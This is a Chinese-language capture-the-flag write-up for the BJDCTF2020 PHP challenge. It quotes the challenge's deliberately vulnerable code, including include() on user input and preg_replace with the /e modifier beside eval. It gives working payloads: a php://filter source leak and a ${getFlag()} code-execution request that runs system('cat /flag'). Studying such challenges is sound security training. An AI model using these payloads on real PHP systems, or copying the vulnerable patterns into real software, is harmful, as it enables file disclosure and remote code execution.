[BJDCTF2020]ZJCTF,不过如此(preg_replace的/e漏洞,PHP的特性)



error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "

".file_get_contents($text,'r')."


"
; if(preg_match("/flag/",$file)){ die("Not now!"); } include($file); //next.php } else{ highlight_file(__FILE__); } ?>

这道题起初看着代码量小,天真的我还觉得简单,可不知道的小知识点还真的挺多的。

index.php中的代码做过类似的,轻车熟路直接传payload:
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

[BJDCTF2020]ZJCTF,不过如此(preg_replace的/e漏洞,PHP的特性)_第1张图片


拿到next.php的源码;


$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

正片才刚刚开始。。。


首先没看懂foreach($_GET as $re => $str)

百度到了一段代码秒懂:

$row=array('one'=>1,'two'=>2);

foreach($row as $key=>$val){
echo $key.'--'.$val;
#one--1
#two--2

而题目是foreach($_GET as $re => $str),假设用GET方法传一个index.php?hello=world那么$re=hello,$str=world


在这里插入图片描述
然后是preg_replace函数的/e漏洞,可是这里是strtolower("\\1"),怎么才能让他变成我们要执行的代码呢?

\1表示取出正则匹配后的第一个子匹配中的第一项,strtolower()的作用是把大写字母转换为小写字母。

所以我们构造$re=(\S*),这样正则就变成了preg_replace('/(\S*)/ei','strtolower("\\1")',$str);\1就会匹配(\S*),也就是$str

我们本地测试一下效果:


$str = phpinfo();
echo preg_replace('/(\S*)/ei','strtolower("\\1")',$str);

[BJDCTF2020]ZJCTF,不过如此(preg_replace的/e漏洞,PHP的特性)_第2张图片
sucess!这样思路就很清晰了,我们传payload:

next.php?(\S*)=${getFlag()}&cmd=system('cat /flag');

这样$re = (\\S*)$str = getFlag() ,而函数getFlag() 的参数cmd = system('cat /flag');

即执行了
echo preg_replace('/(\S*)/ei','strtolower("\\1")',@eval(system('cat /flag');));
echo @eval(system('cat /flag');)


最后我还有个疑问,为啥是${getFlag()},而不是getFlag()

举个栗子,有双引号:

[BJDCTF2020]ZJCTF,不过如此(preg_replace的/e漏洞,PHP的特性)_第3张图片
[BJDCTF2020]ZJCTF,不过如此(preg_replace的/e漏洞,PHP的特性)_第4张图片

无双引号;
[BJDCTF2020]ZJCTF,不过如此(preg_replace的/e漏洞,PHP的特性)_第5张图片
[BJDCTF2020]ZJCTF,不过如此(preg_replace的/e漏洞,PHP的特性)_第6张图片

在php中,双引号里面如果包含有变量,php解释器会进行解析;单引号中的变量不会被处理。

而题目中\1就是被双引号包围起来的,再引入PHP中的可变变量,$$a = ${$a},这样${getFlag()}中的getFlag()才会被解析为函数,否则就输出getFlag()字符串了。

你可能感兴趣的:(BUUCTF)